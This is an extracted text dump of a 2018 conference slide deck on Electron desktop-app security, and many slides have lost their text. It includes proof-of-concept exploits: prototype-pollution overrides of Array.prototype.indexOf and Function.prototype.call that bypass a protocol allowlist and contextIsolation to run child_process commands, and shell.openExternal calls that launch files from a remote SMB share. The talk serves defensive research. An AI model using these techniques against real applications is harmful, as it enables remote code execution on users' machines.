Slide 1

Slide 1 text

Masato Kinugawa CureCon 08/2018

Slide 2

Slide 2 text

• • •

Slide 3

Slide 3 text

• • • •

Slide 4

Slide 4 text

No content

Slide 5

Slide 5 text

1

Slide 6

Slide 6 text

• •

Slide 7

Slide 7 text

https://electronjs.org/#apps

Slide 8

Slide 8 text

• • •

Slide 9

Slide 9 text

main.js const {BrowserWindow} = require('electron'); let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`);

Slide 10

Slide 10 text

index.html TEST

Hello Electron!

body{ background:url('island.png') }

Slide 11

Slide 11 text

• • new BrowserWindow({ webPreferences:{ "FEATURE_NAME": true } });

Slide 12

Slide 12 text

• • • •

Slide 13

Slide 13 text

let win = new BrowserWindow({ webPreferences:{ nodeIntegration: true } }); win.loadURL(`[...] index.html`); main.js require('child_process') .exec('calc') index.html

Slide 14

Slide 14 text

• • new BrowserWindow({ webPreferences:{ nodeIntegration: false, preload: path.join(__dirname,'preload.js') } }); main.js

Slide 15

Slide 15 text

/* preload.js */ typeof require === 'function';//true window.runCalc = function(){ require('child_process').exec('calc') }; typeof require === 'undefined';//true runCalc(); Node

Slide 16

Slide 16 text

• • •

Slide 17

Slide 17 text

new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') } });

Slide 18

Slide 18 text

2

Slide 19

Slide 19 text

• • •

Slide 20

Slide 20 text

• •

Slide 21

Slide 21 text

https://github.com/electron/i18n/blob/81f707c69562cb91fe7c5a98270827a28b93fd5f/content/ja- JP/docs/tutorial/security.md#3-リモートコンテンツでコンテキストイソレーションを有効にする “

Slide 22

Slide 22 text

/* Content Script */ window.abc = 123; /* https://example.com */ alert(window.abc)//undefined Isolated World

Slide 23

Slide 23 text

/* preload.js */ window.abc = 123; /* index.html */ alert(window.abc)//123 Isolated World

Slide 24

Slide 24 text

/* preload.js */ window.abc = 123; /* index.html */ alert(window.abc)//undefined Isolated World

Slide 25

Slide 25 text

/* preload.js */ onmessage=function(e){ if(e.data==='runCalc'){ require('child_process').exec('calc') } } /* index.html */ postMessage('runCalc','*') Isolated World

Slide 26

Slide 26 text

• •

Slide 27

Slide 27 text

3

Slide 28

Slide 28 text

No content

Slide 29

Slide 29 text

No content

Slide 30

Slide 30 text

/* preload.js */ const {shell} = require('electron'); const SAFE_PROTOCOLS = ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); http(s):

Slide 31

Slide 31 text

const {shell} = require('electron'); /* */ shell.openExternal('https://example.com/'); /* */ shell.openExternal('mailto:[email protected]'); /* */ shell.openExternal('file:///C:/windows/system32/calc.exe');

Slide 32

Slide 32 text

/* preload.js */ const {shell} = require('electron'); const SAFE_PROTOCOLS = ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false);

Slide 33

Slide 33 text

Array.prototype.indexOf = function(){ return 1337; }

Slide 34

Slide 34 text

if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); }

Slide 35

Slide 35 text

if (1337 !== -1) { shell.openExternal(link.href); }

Slide 36

Slide 36 text

Array.prototype.indexOf=function(){ return 1337; } CLICK Click if (1337 !== -1) { shell.openExternal(link.href); }

Slide 37

Slide 37 text

• •

Slide 38

Slide 38 text

const { shell } = require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.exe");

Slide 39

Slide 39 text

const { shell } = require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms"); • The Tale of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson) https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

Slide 40

Slide 40 text

• • • InsertScript: DLL Hijacking via URL files (Alex Inführ) https://insert-script.blogspot.com/2018/05/dll-hijacking-via- url-files.html

Slide 41

Slide 41 text

• • •

Slide 42

Slide 42 text

// Clean cache on quit. process.on('exit', function () { for (let p in cachedArchives) { if (!hasProp.call(cachedArchives, p)) continue cachedArchives[p].destroy() } }) https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib /common/asar.js#L30-L36

Slide 43

Slide 43 text

EventEmitter.prototype.emit = function emit(type) { [...] handler = events[type]; [...] var isFn = typeof handler === 'function'; len = arguments.length; switch (len) { // fast cases case 1: emitNone(handler, isFn, this); break; case 2: [...] } }; https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231

Slide 44

Slide 44 text

function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113

Slide 45

Slide 45 text

function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } }

Slide 46

Slide 46 text

process.mainModule.require

Slide 47

Slide 47 text

function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } }

Slide 48

Slide 48 text

Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); } location.reload();//

Slide 49

Slide 49 text

function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); }

Slide 50

Slide 50 text

• XSS • • MitM JS contextIsolation RCE

Slide 51

Slide 51 text

• •

Slide 52

Slide 52 text

• •

Slide 53

Slide 53 text

• • /* preload.js */ document.addEventListener('click', (e) => { /* }, false);

Slide 54

Slide 54 text

• • new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') } }); IMPORTANT!

Slide 55

Slide 55 text

No content